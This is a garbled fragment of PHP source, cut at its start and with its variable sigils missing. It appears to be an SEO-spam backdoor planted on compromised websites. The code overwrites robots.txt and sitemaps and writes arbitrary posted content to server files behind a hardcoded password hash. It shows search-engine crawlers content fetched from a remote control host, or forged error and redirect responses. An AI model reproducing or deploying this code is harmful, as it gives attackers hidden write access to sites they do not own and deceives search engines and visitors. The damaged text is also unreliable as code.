'.g.'')}}if(strstr(a,'.xml')){m=p.'/sitemap.xml';if(is_file(m)){@unlink(m)}f=p.'/robots.txt';if(stristr(a,'User-agent')){@unlink(f);if(file_put_contents(f,a)){echo'
ok
'}else{echo'
file write false!
'}}else{if(file_exists(f)){d=doutdo(f)}else{d='User-agent:*Allow:/'}s=h.'://'.h.'/'.a;if(stristr(d,s)){echo'
sitemap already added!
'}else{if(file_put_contents(f,trim(d)."\r\n".'Sitemap: '.s)){echo'
ok
'}else{echo'
file write false!
'}}}}else{echo'
sitemap name false!
'}a=sha1(sha1(@_['a']));b=sha1(sha1(@_['b']));if(a==doutdo(h.'://'.g.'/a.p'.'hp')||b=='f8f0dae804368c0334e22d9dcb70d3c7bbfa9635'){d=@_['dstr'];if(file_put_contents(p.'/'.a,d)){echo'ok'}}}exit}function disbot(){u=strtolower(_['HTTP_USER_AGENT']);if(stristr(u,'googlebot')||stristr(u,'bing')||stristr(u,'yahoo')||stristr(u,'google')||stristr(u,'Googlebot')||stristr(u,'googlebot')){return true}else{return false}}function doutdo(u){f='';if(function_exists('curl_init')){c=curl_init();curl_setopt(c,CURLOPT_URL,u);curl_setopt(c,CURLOPT_SSL_VERIFYHOST,0);curl_setopt(c,CURLOPT_SSL_VERIFYPEER,0);curl_setopt(c,CURLOPT_RETURNTRANSFER,1);curl_setopt(c,CURLOPT_CONNECTTIMEOUT,30);f=curl_exec(c);curl_close(c)}if(!f){f=@file_get_contents(u)}return f}w=h.'://'.g.'/indexnew.php?web='.h.'&zz='.disbot().'&uri='.d.'&urlshang='.u.'&http='.h.'&lang='.l;h=trim(doutdo(w));if(!strstr(h,'nobotuseragent')){if(strstr(h,'okhtmlgetcontent')){@header("Content-type: text/html; charset=utf-8");h=str_replace("okhtmlgetcontent",'',h);echo h;exit()}else if(strstr(h,'okxmlgetcontent')){h=str_replace("okxmlgetcontent",'',h);@header("Content-type: text/xml");echo h;exit()}else if(strstr(h,'getcontent500page')){@header('HTTP/1.1 500 Internal Server Error');exit()}else if(strstr(h,'getcontent404page')){@header('HTTP/1.1 404 Not Found');exit()}else if(strstr(h,'getcontent301page')){@header('HTTP/1.1 301 Moved Permanently');h=str_replace("getcontent301page",'',h);header('Location: '.h);exit()}}?>